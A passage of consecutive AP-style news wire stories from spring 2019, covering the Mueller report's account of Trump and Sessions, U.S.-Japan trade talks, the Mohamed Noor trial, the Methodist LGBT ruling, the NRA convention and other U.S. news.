Native Americans, while acknowledging Columbuss legacy. It shouldnt have to be on the shoulders of Columbus Day. Some have sought compromise: This week, Oklahomas Republican Gov. Kevin Stitt the nations first governor enrolled as a member of a Native American tribe signed a law to dedicate the October holiday to both Columbus and indigenous people. At least four states honour Native Americans on another day. Others have argued that erasing Columbus isnt the answer either, noting that the history of European colonization and its effect of the indigenous people needs to be taught. Were not going to forget about Columbus, Loewen said. The question that people miss is: is there a difference between honouring and remembering? ___ Associated Press writer Lisa Rathke in Montpelier, Vermont, contributed to this report. WASHINGTON - Jeff Sessions was weak, the president of the United States shouted. Donald Trump was livid as angry as aide Steve Bannon had ever seen him. And the worst of his fury was directed at his attorney general. It was March 3, 2017, the day after Sessions recused himself from the Russia investigation. Several of Trumps top advisers but not Sessions had gathered in the Oval Office. Trump screamed at them, but reserved his greatest wrath for the nations chief law enforcement official. His anger at Sessions wouldnt abate not until he finally fired him, more than 20 months later. ___ EDITORS NOTE Another in a series of stories focusing on events detailed in the report of special counsel Robert Mueller, drawing from the documents trove. ___ Trumps frustration with and entreaties to Sessions began in the early months of 2017 as his former loyal supporter mulled whether he should remove himself from the Russia investigation because of his role in the campaign. Scrutiny of Sessions, a former Alabama senator, increased after reports that he hadnt disclosed two meetings with the Russian ambassador before the election . On Thursday morning, March 2, the day after those reports surfaced, Trump called White House counsel Don McGahn, urging him to appeal to Sessions not to recuse himself. McGahn reached out to Sessions personally at least three times, to his top aides and even to Senate Majority Leader Mitch McConnell all to no avail. Sessions would announce his recusal that afternoon. To Sessions, it wasnt a close call. He believed the regulations were clear. But he knew the president was mad at him. At the White House, aides worried about the spectre of obstruction of justice. In the hours after Sessions announcement, McGahns office directed that the attorney general should not be contacted about the matter. One of McGahns top aides jotted down in her notes: No contact w/Sessions and No comms/Serious concerns about obstruction. At the same time, aides tried to calm the angry president. McGahn told Trump in the Oval Office meeting that ethics officials had weighed in; Bannon told him the recusal wasnt a surprise. That weekend, Sessions travelled with McGahn to Trumps Florida retreat, Mar-a-Lago, where the president pulled him aside, alone, and suggested he unrecuse. But Sessions would not change his mind. Trumps anger flared again in early May, after FBI Director James Comey refused to tell a congressional hearing that Trump himself wasnt under investigation. This is terrible Jeff, Trump told Sessions. Its all because you recused. Trump fired Comey , but the Russia investigation did not end: the deputy attorney general, Rod Rosenstein, appointed special counsel Robert Mueller to take charge. Sessions found out about that appointment while he was with Trump at the White House, conducting interviews for a new FBI director. Sessions stepped out to take the call from Rosenstein, and then personally informed Trump of the news. It didnt go over well. Trump cursed and said it was the end of his presidency. And he again turned on Sessions. How could you let this happen, Jeff? Trump asked. He told Sessions he needed to resign. Sessions agreed, and left. The next day, Sessions finalized a resignation letter that said: Pursuant to our conversation of yesterday, and at your request, I hereby offer my resignation. He brought it to the White House and handed it to the president, who put the letter in his pocket. Instead of immediately accepting the resignation, though, Trump asked Sessions several times if he wanted to stay on. Sessions said he did, but it was up to Trump. Trump ultimately said he wanted the attorney general to remain, and they shook hands. But the president didnt return the letter. Over the next two weeks, as Trump travelled in the Middle East, his aides fretted over the unreturned letter and told Sessions they would try and get it back. White House Chief of Staff Reince Priebus told Sessions he was concerned because the letter could be used as a shock collar to hold over the attorney generals head. On a flight from Saudi Arabia to Tel Aviv, Trump pulled the letter out of his pocket and showed it to a group of senior advisers, including aide Hope Hicks, and asked what he should do. It wasnt until May 30, several days after returning from his trip, that Trump returned the letter to Sessions with a notation: not accepted. Through the year, Trump tried several times to get Sessions to change his mind about recusal, alter the direction of Muellers probe or investigate his political enemies, including Hillary Clinton. In June, Trump asked his former campaign manager and confidant, Corey Lewandowski, to deliver a message to Sessions: He should publicly announce that the investigation was unfair to Trump. He should also tell the public that he would meet with Mueller and direct him to refocus the probe on future elections. Lewandowski never delivered the message and stored the notes in a safe in his home. The president met with Lewandowski again in July and asked for an update. Lewandowski said his message would be delivered soon, and then asked White House aide Rick Dearborn a former Sessions Senate aide to pass it along instead. Dearborn felt uncomfortable with the request and did not follow through. Trump also asked Priebus to get Sessions to resign prompting Priebus and McGahn to discuss whether they might have to resign rather than carry out the order. Trump eventually backed off after Priebus told him that firing Sessions would be a political calamity. Trump began tweeting about Sessions, calling him embattled and making it clear to the public that his job was in jeopardy. According to Sessions chief of staff, Sessions prepared another resignation letter and kept it in his pocket every time he went to the White House. The public flogging continued through 2018 as Trump tweeted criticism of Muellers probe and often blamed Sessions for it. On Nov. 7, 2018, the day after the midterm elections, Trump finally pushed Sessions out , using social media to signal the end of his long campaign to rid himself of an attorney general who would not bend to his wishes. We thank Attorney General Jeff Sessions for his service, and wish him well! he tweeted. __ For complete coverage of the Mueller report, go to https://www.apnews.com/TrumpInvestigations EDITORS NOTE - Another in a series of stories focusing on events detailed in the report of special counsel Robert Mueller, drawing from the documents trove. BOISE, Idaho - Land management officials in Idaho have put together a new online map so hikers, campers and other outdoor enthusiasts can know when and where to expect prescribed burns. Boise State Public Radio reports national forests in Idaho along with the Bureau of Land Management and the Idaho Department of Lands put together the maps for prescribed burns happening between April and July on the Southwest Idaho Interagency Prescribed Fire website. The goal of prescribed burns is to reduce fuels on the ground, create fire-resilient trees and help protect people and timber from severe wildland fires. Agencies typically post caution signs with closures and a map of where they plan to burn along trailheads and roads leading to the locations. But the interactive website will allow recreationists to check for prescribed burns before they head out to the wilderness. ___ Prescribed burn maps: https://usfs.maps.arcgis.com/apps/MapSeries/index.html?appid=3fbf12463b7c442e854010e203800d48 ___ Information from: KBSX-FM. WASHINGTON - President Donald Trump expressed confidence Friday that a bilateral trade deal between the U.S. and Japan can be reached quickly despite ongoing differences over tariffs as he opened talks with Prime Minister Shinzo Abe at the White House. Abe is the rare world leader who has managed to develop a personal relationship with Trump. They get along so well that Abe and his wife, Akie, joined Trump and his wife, Melania, for a couples dinner Friday in the White House residence to celebrate the U.S. first ladys 49th birthday. The leaders planned to meet for a quick round of golf Saturday. But all the friendliness they put on display in the Oval Office didnt mask their differences over trade. Trump complained about Japans tariffs on U.S. agricultural products while Abe aired his frustrations with U.S. levies on Japanese automobiles. Trump has slapped tariffs on steel and aluminum imports from Japan and has held the threat of even steeper auto tariffs over Abes head. Still, Trump sounded optimistic that an agreement will be struck. Ultimately, we have a chance to make a good and very long-term trade deal with Japan, the president said. Asked later about the timetable, Trump said: I think it can go quickly. I think it can go fairly quickly. Maybe by the time Im over there, maybe we sign it over there. But its moving along very nicely and well see what happens. Trump plans to travel to Japan in late May with the first lady for a state visit to meet the countrys new emperor. In their talks Friday, the two leaders were also expected to discuss North Koreas nuclear program and efforts by the U.S. and other nations to achieve a denuclearized Korean Peninsula. Trump and Abe met on the heels of Thursdays nuclear talks between North Korean leader Kim Jong Un and President Vladimir Putin of Russia. Trumps second summit with Kim in Hanoi in February ended with no agreement, but Trump said earlier Friday that progress is being made. I have a great relationship with Kim Jong Un, Trump told reporters. He said he appreciated help on the issue from Russia and China. Kim had harsher words for Trump. North Koreas state-run Korean Central News Agency said Friday that Kim strongly criticized Washington for taking a unilateral attitude in bad faith that caused the diplomatic standstill following the Hanoi meeting. Abe has had more face time and telephone conversations with Trump than any other world leader, said Michael J. Green, senior vice-president for Asia and Japan Chair at the Center for Strategic and International Studies. Abe was the first foreign leader to personally court Trump after he won the 2016 presidential election, visiting the then-president-elect at his Trump Tower penthouse in New York and bringing a golf club as a gift. They share a love of golf and have teed off together both in Japan and the U.S. The president said he and Abe would head out very early on Saturday to play a quick round of golf at a very beautiful place on the Potomac River. I wont name the place, but its beautiful. Trump said he asked his wife if shed like the Abes to join them for her birthday dinner and she said, I cant think of anybody Id rather have. Abe told Trump: I do look forward to celebrating this special day with you. Trump also discussed some of the details of his planned visit to Japan, including the possibility of attending a sumo wrestling match. Ive always found that fascinating and something Ill enjoy very much, he said. He said a trophy is being made for him to present to the winner. The United States and Japan announced in September 2018 that they would open trade negotiations. Talks opened last week. U.S.-Japan friction over trade mounted after Trump took office and set out to reduce a chronic trade imbalance totalling $67.6 billion in Japans favour last year, according to U.S. figures. Japan the worlds third largest economy only reluctantly agreed to the talks with the U.S. as a way to stave off tariffs that Trump has threatened to impose on imported autos. Last fall, Abe said at a news conference on the sidelines of the U.N. General Assembly that the U.S. had agreed not to impose tariffs that had been threatened on Japanese autos. The U.S., however, could still impose the so-called Section 232 tariffs on autos, which would escalate trade tensions. The trade war is slowing the Japanese economy. Japans exports to China fell 9.4% from a year earlier, although exports to the United States rose 4.4%, exacerbating the politically sensitive trade surplus. The trade talks also focus on farm products. Japanese officials have said they made significant concessions on imports of dairy and other farm products in earlier trade negotiations and thats as far as Japan is willing to go. Japans conservative ruling party has traditionally relied on strong support from rural voters and has sought to protect the countrys farm sector from foreign competition. ___ Follow Darlene Superville and Deb Riechmann on Twitter: http://www.twitter.com/dsupervilleap and http://www.twitter.com/debriechman NEW YORK - A U.S. Marine killed in a roadside bombing in Afghanistan was honoured by mourners from across the country at his funeral Friday in New York City, where he also was a decorated firefighter. The flag-draped casket of Staff Sgt. Christopher Slutman was carried atop a fire engine from a Bronx funeral home to Manhattans majestic Saint Thomas Church. Thousands of Marines, firefighters and other responders in their dress uniforms lined both sides of Fifth Avenue for nearly a mile, saluting amid a slow drumbeat and the bagpipe strains of Amazing Grace. Today our city mourns a hero, Mayor Bill de Blasio said at the Episcopal service, adding that Slutman represented the best in us. The 43-year-old father of three young daughters died April 8 near Bagram Airfield U.S military base, just three weeks before he was to return home. Two other members of Slutmans Massachusetts-based Marine Reserve unit also were killed. A 15-year member of the Fire Department of New York, Slutman was with Ladder 27 in the Bronx. In 2014, he received a medal for bravery after rescuing an unconscious woman from a burning apartment in the South Bronx. Chris and his inside team forced open the door to the burning apartment and were met with high heat and thick black smoke that went from the floor to the ceiling, said Chris Williamson, who was Slutmans FDNY captain for four years. Chris crawled on his belly through the smoke to a rear bedroom and found an unconscious woman; he did this without the protection of a fire hose. He then dragged the woman to safety. Marine Sgt. Major Chris Armstrong described Slutman as a leader who was respected and admired. When I received the terrible news, my heart broke as I thought of Chriss family and unit, Armstrong said, fighting back tears. In speaking of Slutman, Wiliamson described him as squared away. One phrase that seems to keep coming up when describing Chris is the term squared away used by all branches of the military to describe one whose performance is even with or above satisfactory levels. I think everyone in this church that knew Chris would wholeheartedly agree that he was way above satisfactory levels. A native of Newark, Delaware, Slutman had served as a volunteer firefighter in Maryland. He is to be buried on Tuesday at Arlington National Cemetery in Virginia. MINNEAPOLIS - Mohamed Noor fled Somalias civil war as a child, following a well-worn path with his family to a refugee camp in Kenya, the U.S. and eventually Minnesota. After a difficult start, he fell in love with his new city, Minneapolis, and carved out a life in business. Then he spotted an online ad recruiting police officers. I always wanted to serve, Noor said Thursday, breaking more than 18 months of silence since shooting and killing an unarmed woman who approached his squad car. Noor, now 33, is on trial for murder and manslaughter in the July 2017 death of Justine Ruszczyk Damond, a dual U.S.-Australia citizen who had called 911 to report a possible crime minutes before she was shot. His testimony added some detail to what was already known about Noor, whose hiring in 2015 was welcomed by city leaders seeking to diversify a police force in a melting-pot city with the nations largest population of Somalis. Noor described his early years near Mogadishu as the oldest of 10 children in a middle-class family whose patriarch both farmed and worked for a non-governmental organization. When he was 5, he said, the family fled to Kenya because of strife in Somalia and spent nearly two years in a refugee camp before his father got a U.S. visa. The family lived for about five years in Chicago. Noor didnt know any English when he arrived and was behind in school, but some teachers helped get him caught up. The family then moved to the Minneapolis area, where he found it difficult at first. A former Minneapolis police officer who fatally shot an unarmed woman who had called 911 to report a possible sexual assault near her home testified in his own defense. AP Reporter Amy Forliti recounts what Mohamed Noor said. (The Associated Press) When I moved here, no one liked Somalis, and I picked that up right away, he testified. But things got better after Noor signed up for football and began making friends. He became a citizen in 1999 and eventually graduated from Augsburg University, a school close to the Cedar-Riverside neighbourhood that is home to many of the citys Somalis. Noor studied economics and business administration and worked as an assistant general manager for a hotel. He was in a job handling pharmaceutical benefits when he spotted the Minneapolis Police Departments ad. He joined the force through a 29-week cadet training program and had some bumps. Noor testified Thursday about once clearing the ammunition from his gun incorrectly, leaving a round in the chamber, and being chewed out. Damonds death led to questions about Noors training, but then-Police Chief Janee Harteau said Noor was very suited to be on the street. The cadet program is aimed at finding candidates who already have a two- or four-year college degree in another field, said Nate Gove, executive director of the Minnesota Board of Peace Officer Standards and Training, which sets licensing and training standards for law enforcement agencies and officers. Nobody is waved through the program, Gove said. He said such programs are not fast track and that candidates still must meet minimum standards and pass license examinations. After Noor completed the program successfully and was assigned to the citys Fifth Precinct, city leaders heralded his arrival. A wonderful sign of building trust and community policing at work, then-Mayor Betsy Hodges posted on Facebook. Noor, who is married and has a son from a previous marriage, was fired from the force after he was charged with killing Damond. He renewed his peace officer license a few days later, making him eligible to serve as a police officer until 2021 if hes acquitted and can find employment. A felony conviction prevents anyone from being a law officer in Minnesota. ___ Check out the APs complete coverage of Mohamed Noors trial. NEW YORK - The United Methodist Churchs judicial council on Friday upheld major portions of a new plan that strengthens bans on same-sex marriage and ordination of LGBT pastors. Conservatives welcomed the decision and said key elements of the policy, called the Traditional Plan, could begin taking effect in January. Among liberal and centrist opponents of the plan, there was dismay; one group, Reconciling Ministries Network, called for an upsurge of resistance. The Traditional Plan was adopted in February on 438-384 vote by delegates at a special UMC conference in St. Louis. Most U.S.-based delegates opposed that plan and preferred LGBT-inclusive options, but they were outvoted by U.S. conservatives who teamed with most of the delegates from Methodist strongholds in Africa and the Philippines. The nine-member judicial council, at the close of a four-day meeting in Evanston, Illinois, ruled that some aspects of the Traditional Plan mostly related to enforcement of its rules were unconstitutional under church law. But the council upheld the bulk of the plan, clearing the way for its implementation in January. The Rev. Tom Lambrecht, general manager of the conservative Methodist magazine Good News, hailed the councils ruling as a strong affirmation of the Traditional Plans core elements. He suggested that Methodists opposed to the plan should start negotiating to leave the UMC and form a new denomination that would allow them to adopt LGBT-inclusive policies. Opponents of the Traditional Plan will have a chance to overturn it at the UMCs next general conference in May 2020. But Lambrecht said he agreed with other analysts who predict the UMCs conservative bloc will be even stronger then. An alliance of Traditional Plan opponents, calling themselves UMC-Next, has been holding meetings to discuss the best path forward for those who share their views. Its leaders say one option would be for centrists and liberals to leave en masse to form a new denomination. Under another option, opponents of the Traditional Plan would stay in the UMC and resist from within, eventually convincing conservatives that they should be the faction that departs. Lambrecht dismissed that possibility. Were not leaving, he said. Formed in a merger in 1968, the United Methodist Church claims about 12.6 million members worldwide, including nearly 7 million in the United States. It is the largest mainline Protestant denomination in the U.S. While other mainline denominations have embraced gay-friendly practices, the UMC still bans them, though acts of defiance by pro-LGBT clergy members have multiplied. Many have officiated same-sex weddings; others have come out from the pulpit. Enforcement of the bans has been inconsistent; the Traditional Plan aspires to beef up discipline against those engaged in defiance. Under rules upheld by the judicial council, bishops are prohibited from ordaining self-avowed homosexuals, while clerics who perform same-sex weddings could be suspended without pay for a first offence and ousted from the ministry for a second offence. Under the ruling, individual churches could disaffiliate with the UMC if two-thirds of the church community agrees, and if the church meets certain financial requirements. The Reconciling Ministries Network, which supports LGBT inclusion, called its supporters to repeatedly state your dissent, to support the work of resistance by United Methodist seminaries, to continue to write open letters and visibly be in solidarity with those on the margins. We call upon the Church to repent of the sin of homophobia, it said. Now is the time to rise and resist. Many Traditional Plan opponents already are expressing their dissatisfaction. Some churches have raised rainbow flags in a show of LGBT solidarity; some are withholding dues payments to the UNC administration in protest. The Human Rights Campaign, a national LGBTQ-rights group, said the judicial councils ruling is deeply disappointing for countless LGBTQ Methodists, including young people and their families, who are yearning for a welcoming church family. OVERLAND PARK, Kan. - Kansas City Chiefs coach Andy Reid said Friday a local prosecutor has reopened a domestic violence investigation involving suspended wide receiver Tyreek Hill after a TV station broadcast an audio recording in which Hill and his fiancee discuss injuries to their 3-year-old son. Reid made the comment as the Chiefs introduced a new draft pick, but he and general manager Brett Veach both declined comment about Hills case and potential next steps. The prosecutor, Johnson County District Attorney Steve Howe, did not immediately return a message. Police were called to the Hill home twice last month and determined the child had been injured. On Wednesday, Howe said he would not file charges against Hill or Espinal even though his office believed a crime had occurred . He said available evidence didnt establish who had hurt the child. As a prosecutor, as a father of four, yes, it frustrates me when someone hurts a child and you cant do anything about it, Howe said then. One of the elements of a crime is you have to prove who that person is who committed the act. A day later, KCTV in Kansas City aired part of an 11-minute audio file in which Espinal tells Hill earlier this year that when the boy was asked about his injured arm he replied: Daddy did it. Hill denied any role in what happened to the child, saying: He says Daddy does a lot of things. Espinal also tells Hill their son is terrified of you. Hill replies, You need to be terrified of me, too, bitch. Later, Espinal asks Hill, What do you do when the child is bad? You make him open up his arms and you punch him in the chest. Howe has not responded to requests for comment about the audio recording, which the TV station said has been provided to his office. KCTV said the recording is believed to have been made in March when the parents were walking through an airport in Dubai. The station said Espinal sent it to at least one friend and was shared with KCTV by someone who is concerned about the welfare of the couples child. Several media outlets reported that Overland Park police went to the home of Hill home on Thursday night after receiving an anonymous call from someone worried about Espinal. According to the reports, Espinal was fine and officers were at the home for only a short time. The Chiefs have suspended Hill while the team looks into the developments. The NFL could also punish Hill under its personal conduct policy. Hills history with Espinal is well known. In 2015, he pleaded guilty to domestic assault and battery by strangulation in an incident involving his then-pregnant girlfriend the previous year. The incident resulted in his dismissal from the Oklahoma State football team and he was put on probation until August 2018. He wound up playing at tiny West Alabama, where he juggled school and football with counselling sessions and other court-mandated service work until the NFL came calling. Hill, a fifth-round pick who is a two-time Pro Bowler, was part of a controversial draft class by the Chiefs and then-general manager John Dorsey in 2016. The Chiefs also spent a third-round pick that year on cornerback KeiVarae Russell, who missed an entire season for violating Notre Dames honour code in an academic misconduct case; a fourth-round pick on wide receiver Demarcus Robinson, who was suspended four times at Florida for drugs and other violations; and a sixth-round pick on Virginia Tech linebacker Dadi Nicolas, who was once charged with larceny and suspended for bumping an official. Among them, only Robinson is still on the roster. Last year, the Chiefs released star running back Kareem Hunt following a video that showed him pushing and kicking a woman in a hotel hallway. Hunt is suspended for the first eight games of the upcoming season but has signed a one-year deal with Cleveland under Dorsey, the Browns GM who signed Hunt while he was with the Chiefs. ___ More AP NFL: https://apnews.com/NFL and https://twitter.com/AP_NFL ANCHORAGE, Alaska - A Matanuska-Susitna Borough school could remain closed for up to three years because of extensive damage from the Nov. 30 earthquake. Anchorage television station KTVA reports district administrators met Thursday night with parents from Houston Middle School to discuss repair or replacement plans. Director of operations Mike Brown says the district could replace the entire building or repair the administrative wing and gym and replace the two-story classroom wing. Engineers have recommended tearing down the classroom wing. Superintendent Monica Goyette says it could take up to three months to hear how much damage an insurance company will cover. The middle school could reopen in December 2021 or August 2022, depending on which options are picked. For now, nearly 800 students from seven grades are at the new Houston Junior-Senior High. ___ Information from: KTVA-TV, http://www.ktva.com LITTLE ROCK, Ark. - Methamphetamines, PCP, marijuana and cocaine were found in the body of a man fatally shot by a police officer, according to an investigative file released by the Arkansas police department. The 546-page report pertains to the Feb. 22 shooting of Bradley Blackshire. Little Rock Officer Charles Starks was investigating a stolen vehicle that Blackshire was driving when he fatally shot the 30-year-old, firing at least 15 times into the windshield while the car was in motion. Blackshire was black and Starks is white. The heavily redacted file indicates that Blackshire was behaving in a paranoid manner in the days prior to the incident, the Little Rock Democrat-Gazette reported. Blackshires former girlfriend, Desaray Clarke, 21, was a passenger in the Nissan Altima when the shooting happened. In an interview with investigators, Clarke recalled that Blackshire had been recently asserting that the Feds were after him around because of the drug trafficking charges he was facing. Starks said that he blacked out and could not recall specifics of the shooting, according to an interview in the file. In other instances, the file shows that Starks detailed his actions, concern and the scene as it played out around him. Investigators recovered a stolen .45-calibre handgun in the Altima, the case file said. Police also discovered numerous scales, a black mask, gloves, binoculars, a variety of pills, Blackshires state-issued identification and almost 18 grams (slightly over half an ounce) of a white substance, according to an evidence log. Prosecutors declined to file charges against Starks, citing that the moving vehicle was considered a lethal weapon and justified Starks fear when he reacted by fatally shooting Blackshire. An autopsy report wasnt included in the file. Tom Carpenter, city attorney for Little Rock, said that the autopsy record wont be released based on the Arkansas law. ___ Information from: Arkansas Democrat-Gazette, http://www.arkansasonline.com ATLANTA - Police have identified an individual suspected of shooting 10 students with a pellet gun outside an Atlanta-area elementary school. The DeKalb County School District said in a statement Friday that police have searched the suspects home and retrieved a pellet gun believed to have been used. The 10 students from Wynbrooke Elementary School in Stone Mountain suffered injuries that were not life threatening after being shot while playing on the playground midday Thursday. The district said then that the pellets were fired from a position away from the school grounds, and that there was never a threat of anyone getting into the school. Officials say the investigation is active and ongoing. The school districts statement praised police for a quick response, both to the scene and pursuing the investigation. CHICAGO - The Latest on the death of 5-year-old Andrew AJ Freund in McHenry County (all times local): 3:15 p.m. An official says the Illinois Department of Children and Family Services is reviewing unproven allegations of child abuse or neglect after the death this week of 5-year-old Andrew AJ Freund. Anne Gold is DCFS associate deputy for child protection. She told a House committee Friday that agency administrators are reviewing cases that had been deemed unfounded for any child 3 years old or younger. She did not specify a time period. AJ Freunds Crystal Lake family had a long history of DCFS contact before his body was found in a shallow grave Wednesday. His parents have been charged with murder. A DCFS caseworker visited AJs home last winter and found bruises on AJ but closed the case in January. Elgin Democratic Rep. Anna Moeller said the review of cases of children 3 and younger wouldnt have included kids AJs age. She says the review should include older children. ___ 2:15 p.m. The director of the Illinois Department of Children and Family Services is asking for 126 added staff members but tells lawmakers other improvements are necessary to protect the states children. Marc D. Smith is testifying before the House Appropriations-Human Services Committee. Legislators are asking him about DCFS action in the case of Andrew AJ Freund. The 5-year-old boys body was found in a shallow grave Wednesday in McHenry County. His parents have been charged with murder. DCFS had a long history of interaction with the Crystal Lake family. The agency has been criticized for not doing more to prevent the deaths of two other children under DCFS watch since February. Smith says adding more than 100 staff members will alleviate pressure on existing staff. But he says the agency is examining its training protocol and working with community partners to get families the help they need to provide safe homes for their children. ___ 11 a.m. The caseworker and supervisor responsible for monitoring the well-being of a 5-year-old Illinois boy found dead in a shallow grave have been removed from work on child-welfare cases. The Department of Children and Family Services announced Friday that the two employees have been placed on administrative duty without casework while the agency reviews their interaction with the family of Andrew AJ Freund of Crystal Lake and other families. A spokesman declined to name the employees. DCFS released a timeline showing agency contact with AJs family dating to 2012. The latest case was opened in December 2018. Bruising on AJ was attributed to the family dog and the case closed in January. AJs parents have been charged with first-degree murder. Prosecutors allege the couple forced the boy to stand in a cold shower and beat him. ___ 8:25 a.m. An Illinois lawmaker says the states new child welfare director will face tough questions from a state House panel following the beating death of a 5-year-old boy who had extensive contact with child welfare workers. Chicago Democratic Rep. Sara Feigenholtz says Department of Children and Family Services Director Marc D. Smith will be questioned Friday in Chicago about the agencys actions in the case of 5-year-old Andrew AJ Freund. He was under the agencys watch when his badly beaten body was discovered Wednesday in a shallow grave in McHenry County. His parents have been charged with first-degree murder. Prosecutors allege the couple forced the boy to stand in a cold shower and beat him. Feigenholtz is on the Appropriations-Human Services Committee, which is scheduled to hear budget requests from several state agencies, including DCFS. WEST PALM BEACH, Fla. - The Latest on a suppression of evidence hearing in the Robert Kraft prostitution case (all times local): 6:20 p.m. Attorneys for New England Patriots owner Robert Kraft have been going toe-to-toe with top Florida prosecutors in an attempt to get a judge to bar the use of video evidence that police say shows him having sex with prostitutes. Krafts high-profile legal team spent six hours Friday questioning the lead detective in the massage parlour prostitution sting that resulted in Kraft being charged with misdemeanour solicitation of a prostitute. Attorney Alex Spiro questioned Jupiter detective Andrew Sharp over his investigative techniques and challenged the constitutionality of the search warrant that allowed him to install secret cameras inside the Orchids of Asia Day Spa. Kraft is charged with paying for sex there twice in January. He has pleaded not guilty but has also issued a public apology for his actions. The hearing is scheduled to continue Tuesday. ____ 10 a.m. Attorneys for New England Patriots owner Robert Kraft are in court asking a judge to throw out a video police say shows him paying for sex at a Florida massage parlour. Krafts attorneys will tell Judge Leonard Hanser on Friday that police violated the 77-year-old businessmans constitutional rights when they installed video cameras in the Orchids of Asia Day Spa in January. In court documents, they write that a prostitution investigation did not warrant the eye-popping invasions that occurred here. Palm Beach County prosecutors said Kraft had no expectation of privacy outside his home. Kraft and 24 other men were charged with paying for sex acts at the spa. He has pleaded not guilty. Prosecutors originally said human trafficking might be involved, but have retracted that. JERSEY CITY, N.J. - The Latest on the order to remove the Mississippi flag from a park overlooking the Statue of Liberty (all times local): 6:10 p.m. The governor of Mississippi says he is disappointed in a decision by his counterpart in New Jersey to remove the southern states flag from a park overlooking the Statue of Liberty. Republican Mississippi Gov. Phil Bryant said in a statement Friday that Im disappointed in Gov. Murphys actions. As I have repeatedly said, the voters of Mississippi should decide what the state flag is or is not. The Mississippi flag includes the Confederate battle emblem in the upper left corner. Democratic New Jersey Gov. Phil Murphy has ordered the removal of the flag from a display of state flags at Liberty State Park. He says the flag is reprehensible and does not reflect our values of inclusivity and equality. ___ 4:20 p.m. New Jersey Gov. Phil Murphy is ordering that the Mississippi flag be replaced by the American flag at a state park that overlooks the Statue of Liberty because it has a Confederate emblem on it. The Democrat on Friday ordered the removal of Mississippis flag from a display of each states flag at Liberty State Park. He says the flag is reprehensible and does not reflect our values of inclusivity and equality. The Mississippi flag includes the Confederate battle emblem in the upper left corner. The emblem has a red field topped by a blue X-shaped cross, dotted by 13 white stars. It has appeared on Mississippis flag since 1894. Critics say its racist. Those who oppose removing it say its historic. A message has been left seeking comment with Mississippi Gov. Phil Bryant, a Republican. WASHINGTON - The Latest on President Donald Trump and the National Rifle Association (all times local): 8:20 p.m. President Donald Trump says hes withdrawing the U.S. from an arms trade treaty because its badly misguided. He made the announcement in a speech to the National Rifle Association. The move comes as pro-gun legislation is largely stalled in Congress and Trump is imploring the NRA to rally behind his re-election bid. President Barack Obama signed the pact, which has long been opposed by the NRA, in 2013. But it has never been ratified by U.S. lawmakers. ___ 4:20 p.m. The United Nations says the Arms Trade Treaty that the U.S. is exiting is a landmark achievement in the efforts to ensure responsibility in international arms transfers. U.N. spokesman Stephane Dujarric was responding to Fridays announcement by President Donald Trump that he is asking the Senate to halt ratification of the treaty. It is the first legally binding treaty to regulate the international trade in conventional arms and was overwhelmingly approved by the 193-member U.N. General Assembly in April 2013. It has been ratified by 101 countries. Dujarric says the treaty is the only global instrument aimed at improving transparency and accountability in the international arms trade. He says, This is particularly important in present times, when we witness growing international tensions and renewed interest in expanding and modernizing arsenals. __ 1:45 p.m. A man was removed from the audience at President Donald Trumps speech to the National Rifle Association after tossing his cellphone toward the stage. The phone flew toward one side of the lectern as Trump was approaching from the other side. The president proceeded with his speech without delay. Witnesses said the man appeared to be a supporter of the president. __ 1 p.m. President Donald Trump says the U.S. has decided to withdraw its support for a treaty regulating the multibillion-dollar global arms trade. Its the latest example of the Trump administrations dislike of international pacts. Trump said Friday that he has decided to revoke the United States status as a signatory of the Arms Trade Treaty regulating international trade in conventional weapons, including small arms, battle tanks, combat aircraft and warships. He says America is rejecting this treaty and taking our signature back. He made the announcement during a speech in Indianapolis, Indiana, to the National Rifle Association, which claims the treaty poses a threat to the Second Amendment. The U.S. signed the treaty in 2013, but never ratified it. __ 12:50 p.m. President Donald Trump says gun owners should get ready to vote for Republicans. He told the National Rifle Association Friday that his political opponents want to take away your guns. You better get out there and vote. He spoke at the gun rights groups annual convention for the third year in a row. The event comes as longtime observers say the group is at its weakest moment in memory, due to serious infighting, financial issues and shifting public sentiment after a series of mass shootings. Trump said the 2020 presidential and congressional elections are around the corner. It seems like its a long ways away. Its not, he said. __ 12:40 p.m. President Donald Trump is launching his speech to the National Rifle Association with a recitation of grievances about special counsel Robert Muellers investigation. Speaking to the gun rights groups annual convention Friday, Trump said his political enemies tried for a coup, didnt work out so well. And I didnt need a gun for that one, did I? The friendly audience applauded the quip, but Trump wasnt done. He said hes seen corruption at the highest levels. A disgrace. Spying. Surveillance trying for an overthrow. Muellers probe found no evidence that Trump and his campaign colluded with the Russians to influence the 2016 presidential election. But his report contained detail about Trumps efforts to shut down the investigation, fire Mueller and lie. Some Democrats say theres ample evidence of obstruction of justice. Attorney General William Barr said he did not believe the evidence was sufficient to prove that Trump had obstructed justice, but he noted that Muellers team did not exonerate the president. __ 11:50 a.m. Vice-President Mike Pence says that under the Trump administration, no one is taking your guns. The line got a rousing applause from the National Rifle Association in Indianapolis, where Pence was introducing President Donald Trump at the gun lobbys annual convention. Pence, a former Indiana governor, told the crowd, Under this president and this vice-president no one is taking your guns. Trump is speaking to the convention for the third year in a row. The NRAs convention comes as longtime observers say the group is at its weakest moment in memory, due to serious infighting, financial issues and shifting public sentiment after a series of mass shootings. __ 11:25 a.m. President Donald Trump has landed in Indianapolis, where hell be headlining the National Rifle Associations annual convention for the third year in a row. Trump is addressing members of the gun rights group the same day he is expected to welcome Japanese Prime Minister Shinzo Abe (shin-zoh AH-bay) to the White House in Washington. The NRAs convention comes as longtime observers say the group is at its weakest moment in memory, due to serious infighting, financial issues and shifting public sentiment after a series of mass shootings. Greeting the 45th president at Lucas Oil Stadium on Friday were people in red Make American Great Again hats and a round of country music. The clocks in the stadium were set to 45:00. ___ 9 a.m. President Donald Trump says the National Rifle Association is getting stronger, not weaker, and is doing important work vital to making his Make America Great Again slogan a reality. Trump is heading to Indianapolis on Friday to address the nations largest gun rights organization, which played a pivotal role in his victory in 2016. The NRA spent millions of dollars to help elect Trump in 2016 but had a much lower profile during the 2018 midterms. Its unclear how visible the NRA will be in 2020 after a series of mass shootings that has hardened public sentiment against gun violence. Trump disagrees with those who say the NRA is getting weaker. He tweets that the NRA is getting stronger & stronger and doing some really great and important work. ___ 12:35 a.m. The nations largest gun rights organization played a pivotal role in President Donald Trumps victory in 2016. Three years later, the National Rifle Association is limping toward the next election divided and diminished. Many observers say the organization is at its weakest moment in recent history, beset by infighting, losing public support and bleeding money. Its a reversal that has stunned longtime observers and that is raising questions about the groups potential firepower heading into 2020 as Trump and Vice-President Mike Pence prepared to headline the groups annual convention in Indianapolis. The first woman and the next man on the moon will both be American astronauts, launched by American rockets, from American soil. Vice President Mike Pence, rhetorically planting a new American flag 